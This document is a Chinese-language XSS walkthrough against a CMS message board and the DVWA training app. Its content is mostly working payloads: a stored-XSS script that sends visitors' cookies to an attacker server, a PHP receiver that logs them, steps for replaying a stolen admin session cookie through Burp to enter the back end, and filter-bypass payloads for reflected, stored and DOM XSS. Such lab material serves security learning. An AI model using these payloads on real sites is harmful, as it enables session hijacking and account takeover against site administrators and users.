CMS
搜索框弹窗:
<script>alert(1)</script>
获取管理员Cookie:
1.寻找目标网站的 xss 攻击点:留言板
2.制作并搭建接收远程Cookie的服务器(kali)
开启kali的apache2服务:
service apache2 start
进入到/var/www/html目录下
制作一个 Js 文件:
var img = document.createElement('img');
img.width = 0;
img.height = 0;
img.src ='http://攻击服务器IP/xss.php?c='+ document.cookie;
制作一个 PHP 文件:
<?php
$ip=$_SERVER["REMOTE_ADDR"];
$cookie =$_GET["c"];
$fp ="/var/www/html/xss.txt";
$file = fopen($fp,"a+");
fwrite($file, $ip."\n");
fwrite($file, $cookie."\n");
fclose($file);
?>
3.提交盗取管理员 Cookie 的攻击代码
在输入框提交攻击代码,尽量将信息伪装的比较正常然后提交
<script language=javascript src=http://攻击服务器IP/xss.js></script>
4.等待管理员登录并查看留言
管理员登录管理后台查看留言板:
5.查看kali中是否生成了xss.txt文件
查看文件内容,复制Cookie
username=admin; userid=1; PHPSESSID=8n78cfmj1pd40n9nm0rgf7g5c0
6.使用接收到的管理员 Cookie 通过BP绕过身份验证直接登录网站后台
注意*:为了防止登录验证,应该直接在首页处开启抓包后点击后台管理
开启BP
点击后台管理
抓到相应的数据包,替换Cookie
可设置自动替换
打开BP->Proxy->Proxy settings->Tools->Proxy->Match and replace rules->add
match:^Cookie.*$
Cookie: 值
勾选上Regex match
此时发现Cookie已经替换,将数据包全部放行
成功进入后台
DVWA
XSS(Reflected)
Low:
<script>alert(document.cookie)</script>
Medium:
安全配置对<script>做了过滤
大写绕过
<SCRIPT>alert(document.cookie)</script>
双写绕过
<sc<script>ript>alert(document.cookie)<script>
Heigh:
安全配置对<script>做了逐字检查,并且不区分大小写
通过img标签报错和后执行onerror来弹窗
<img src=l onerror=alert(document.cookie)>
XSS(Stored)
Low:
<script>alert(document.cookie)</script>
如上述CMS留言板获取Cookie一样,将Cookie返回到攻击服务器上,此处XSS(Stored)只演示如何绕过防护配置
<script>document.location="http://攻击服务器IP/xss.php?cookie="+document.cookie</script>
Medium:
安全配置使用了htmlspecialchars()实体编码,难以绕过,但 name 框只做了简单限制
在 name 框输入
也可以使用 burpsuite 更改
大写绕过
<SCRIPT>alert(document.cookie)</script>
双写绕过
<sc<script>ript>alert(document.cookie)</script>
发现name框限制输入字符长度为10,F12修改其限制值
在name框内输入
Heigh:
安全配置使用了htmlspecialchars()实体编码,难以绕过,但 name 框只做了简单限制
在 name 框输入
也可以使用 burpsuite 更改
<img src=1 onerror=alert(document.cookie)>
XSS(DOM)
DOM特点:
通过 document 把用户输入的值带入 value,最后显示给用户
Low:
<script>alert(document.cookie)</script>
在URL后输入
Medium:
安全配置对提交的值做检查,如果有<script 就跳转到 English
要逃逸option和select标签来运行img标签的内容
></option></select><img src=1 onerror=alert(document.cookie)>
如何查看闭合?
在选项栏处右键选择检查
在URL上输入
Heigh:
安全配置是以白名单的形式对用户输入做过滤,若不为选项中的值便跳到Englisgh
通过后端注释符来绕过,因为后端为PHP,#会注释掉后面内容,然后返还给前端,而前端为JS,#并不做注释,所以被带到前端执行
#<script>alert(document.cookie)</script>
URL编码绕过
#%3Cscript%3Ealert(document.cookie)%3c/script%3E